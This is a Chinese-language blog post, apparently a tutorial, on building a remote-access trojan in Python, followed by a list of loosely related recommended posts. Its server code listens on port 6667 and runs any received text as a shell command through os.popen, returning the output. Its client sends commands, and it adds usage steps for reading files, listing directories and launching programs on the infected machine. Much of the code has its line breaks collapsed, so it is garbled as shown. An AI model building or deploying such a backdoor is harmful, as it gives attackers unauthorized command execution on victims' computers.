基于Python实现socket远程木马

严正声明:本文仅限于技术讨论,严禁用于其他用途。

基础知识

  • socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
  • Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
  • 如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间

编码:

  • 英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)

  • 中文多:建议用UTF-16编码

  • 中文:window中文采用的是GBK格式编码

netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了

服务端(server)程序

import socket, osdef attack():try:s = socket.socket()s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有设备均可访问该服务器的6667端口s.listen()     #    对6667端口进行监听chanel, client = s.accept() #   进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信,  client: 客户端的IP和端口while True:receive = chanel.recv(1024).decode()reply = os.popen(receive).read()chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())except:s.close()attack()if __name__ == '__main__':attack()

客户端(client)程序

import sockets = socket.socket()
s.connect(('192.168.137.1', 6667))    #192.168.137.1是socket服务器的地址while True:sendstr = input("请输入消息:")s.send(sendstr.encode())receive = s.recv(1024).decode()print(f"服务器回复:{receive}")# s.close()

其他命令执行函数:

提示:需要导入 os 模块—— import os

os.system('ipconfig')os.popen('ipconfig').read()eval()       # 将字符串按照Python代码来执行

该木马程序的基本用法

1、查看文件内容

window

type 文件绝对路径

linux

cat 文件路径

2、查看文件目录

window

dir              #查看当前文件路径目录
dir 文件路径     #查看指定文件路径目录

linux

ls               #查看当前文件路径目录
ll              #查看当前文件路径目录详细信息
ls 文件路径      #查看指定文件路径目录
ll 文件路径      #查看指定文件路径目录详细信息

3、创建文件或目录

windows

echo test >> demo.txt  #创建一个demo.txt文件,文件内容为 test

linux

mkdir 路径 #创建目录
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test

4、调用windows应用程序

调用计算器

calc.exe

调用其他引用程序

直接输入应用程序绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!")  > E:\hi.vbs
E:\hi.vbs

基于Python实现socket远程木马相关推荐

  1. 用python做双人五子棋_基于python的socket实现单机五子棋到双人对战

    基于python的socket实现单机五子棋到双人对战,供大家参考,具体内容如下 本次实验使用python语言.通过socket进行不同机器见的通信,具体可以分为以下四步:1.创建ServerSock ...

  2. 基于python的socket实现单机五子棋到双人对战

    基于python的socket实现单机五子棋到双人对战 本次实验使用python语言.通过socket进行不同机器见的通信,具体可以分为以下四步:1.创建ServerSocket和Socket:2.打 ...

  3. python调用libpcap_libPcap(基于C)接受基于Python的Socket程序 - python

    亲爱的大家: 我使用基于python的套接字客户端发送字符串数据(即日志数据). 另一方面,我使用libpcap嗅探服务器端的字符串数据. 但是,当我第二次将字符串数据发送到服务器端时,在客户端出现了 ...

  4. 基于Python机器视觉的远程害虫种类识别和数量检测系统 报告+项目源码及数据

    摘 要 农业与民生和经济发展息息相关,对农业发展科学化的关注既是民生需求, 也是经济稳步发展的迫切需求.病虫害是影响农作物生长的重要因素,对农作物的产量和品质都能造成无法估计的损害. 针对目前广大农业 ...

  5. 基于Socket实现远程木马

    目录 一.实现Socket完整交互 1.server.py 2.client.py 3.执行结果 二.实现Socket远程木马 一.实现Socket完整交互 1.server.py 2.client. ...

  6. 基于python的tcp的端口转发程序

    基于python的socket套接字,对tcp数据包进行转发 import socket def main():s = socket.socket()# 本机ip地址和接收端口host = '10.1 ...

  7. python远程linux服务器执行命令_基于使用paramiko执行远程linux主机命令(详解)

    paramiko是python的SSH库,可用来连接远程linux主机,然后执行linux命令或者通过SFTP传输文件. 关于使用paramiko执行远程主机命令可以找到很多参考资料了,本文在此基础上 ...

  8. 基于Python——实现远程下载sftp文件(只下载.zip文件)

    [背景]远程下载发布包等文件时,总是要使用WinSCP等工具登陆拖动.今天就介绍一种使用python下载文件到本地的方法. [代码实现] 1 import paramiko # paramiko模块, ...

  9. 基于python的视频监控系统_Python远程视频监控程序的实例代码

    老板由于事务繁忙无法经常亲临教研室,于是让我搞个监控系统,让他在办公室就能看到教研室来了多少人.o(>﹏<)o||| 最初我的想法是直接去网上下个软件,可是找来找去不是有毒就是收费,无奈技 ...

  10. Evilnum恶意组织使用新的基于Python的木马攻击金融公司

    在过去的几个月中,Cybereason Nocturnus团队一直在调查了Evilnum恶意组织发起的攻击活动.该组织最初成立于2018年,针对英国和欧盟范围内的公司的几次攻击活动都与这个组织有关.目 ...

最新文章

  1. 杨老师课堂_Java核心技术下之控制台模拟文件管理器案例
  2. IntelliJ IDEA 居然支持音视频聊天!
  3. 从Demo到日千万PV,就是快! – 爱线下的上云实践
  4. HDU-1316 How Many Fibs? Java
  5. 逻辑斯蒂回归_逻辑斯蒂回归详细解析 | 统计学习方法学习笔记 | 数据分析 | 机器学习...
  6. Android基础字符串String.md
  7. git学习(四)比较文件差异diff
  8. 使用NetBSD构建基于iSCSI的小型SAN
  9. JAVA基础——设计模式之观察者模式
  10. 单片机通过蜂鸣器播放任意音乐代码实现(1):单片机代码部分
  11. 厉害了!20年【科比NBA】生涯|数据分析
  12. Windows Server 2012安装密钥
  13. HEVC中四叉树划分详解
  14. 数据库技术与应用知识点小结(上)
  15. Notepad++--常用的插件
  16. hacker与cracker区别
  17. Reggie外卖项目 —— 开发环境搭建
  18. Entrust Datacard将从泰雷兹手中收购市场领先的通用硬件安全模块业务
  19. pyMuPDF How To
  20. 如何给word文档方格打勾

热门文章

  1. 渗透测试PTES标准流程(超详细)
  2. Android studio 装SDK,android studio安装sdk
  3. linux不识别iwconfig,CentOS中iwconfig命令not found的解决方法
  4. java 分布式 定时任务_Java中实现分布式定时任务的方法
  5. 【Android自定义控件】仿京东首页的京东快报,自动向上滚动的广告条
  6. 优秀的软件测试简历是什么样的?
  7. mysql批量生成随机姓名、手机号等数据
  8. 老式计算机如何设置u盘启动,技嘉主板老式bios设置u盘启动教程
  9. r语言基本操作及数据处理(超详细)
  10. switch 无法启动软件,请在HOME菜单中再试一次